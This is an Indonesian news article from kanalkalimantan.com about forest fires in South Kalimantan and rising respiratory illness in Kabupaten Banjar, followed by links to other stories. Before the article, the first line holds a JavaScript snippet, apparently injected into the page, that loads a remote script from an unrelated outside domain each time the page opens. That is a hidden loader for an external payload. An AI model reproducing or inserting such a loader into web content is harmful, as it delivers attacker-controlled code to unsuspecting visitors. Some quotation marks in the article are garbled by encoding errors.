(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sejak ditetapkannya status siaga darurat kebakaran hutan dan lahan (Karhutla), hingga saat ini sudah 3.587, 418 hektare (Ha) lahan dan hutan terbakar dengan 830 kejadian di Provinsi Kalsel. Dampaknya, asap mengakibatkan jumlah warga penderita Inspeksi Saluran Pernapasan Akut (ISPA) turut meningkat.
Kepala Seksi (Kasi) Pencegahan dan Penanggulangan Penyakit Menular (P2PM) Dinkes Kabupaten Banjar Thaufikkurahman menyebutkan berdasarkan data pada Dinas Kesehatan (Dinkes) Kabupaten Banjar menunjukkan terhitung dari 23 Agustus hingga 28 September penderita ISPA di Kabupaten Banjar ada 4.119 orang.
“Angka tersebut kita didapat ketika dilakukan pengukuran Indeks Standard Pencemaran Udara (ISPU) bersama Balai Besar Teknik Kesehatan Lingkungan (BBTKL) Banjarbaru, dan perwakilan Kementerian Kesehatan (Kemenkes),†sebutnya.
Adapun pengukuran ISPU dilaksanakan di empat wilayah kecamatan tertinggi pencemaran udara terdampak Karhutla. Empat kecamatan tersebut meliputi wilayah Martapura Kota, Martapura Timur, Gambut, dan Sungai Tabuk dengan didapati tinggi tingkat pencemaran udara 50-100 Mikrogram/M3. Dari empat wilayah kecamatan yang diukur tingkat pencemaran udaranya, Kecamatan Martapura Timur mempunyai angka tertingi yaitu 77 Mikrogram/M3.
“Normalnya 50 Mikrogram/M3. Tentunya ini sangat membahayakan kesehatan karena berada di atas ambang normal udara sehat,†kata Thaufik.
Ditambahkan Thaufik, hingga sekarang untuk hasil tiga kecamatan lainnya masih dalam tahap pengukuran dan masih belum diketahui hasil kualitas udaranya. Namun berdasarkan data BBTKL sementara di Banjarbaru, titik pencemaran udara tertinggi berada di wilayah Sungai Tabuk Kota, Kecamatan Sungai Tabuk dengan peningkatan penderita ISPA 5 persen sejak Agustus.
Mengetahui angka penderita ISPA cukup tinggi, antisipasi Dinkes Kabupaten Banjar selain rutin membagikan masker secara gratis pihaknya juga tidak henti-hentinya untuk juga terus menyampaikan imbauan kepada masyarakat untuk terus menggunakan masker saat keluar rumah. Pentingnya menjaga kondisi tubuh dengan memperbanyak konsumsi air putih juga terus disampaikan. (rendy)
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
This website uses cookies.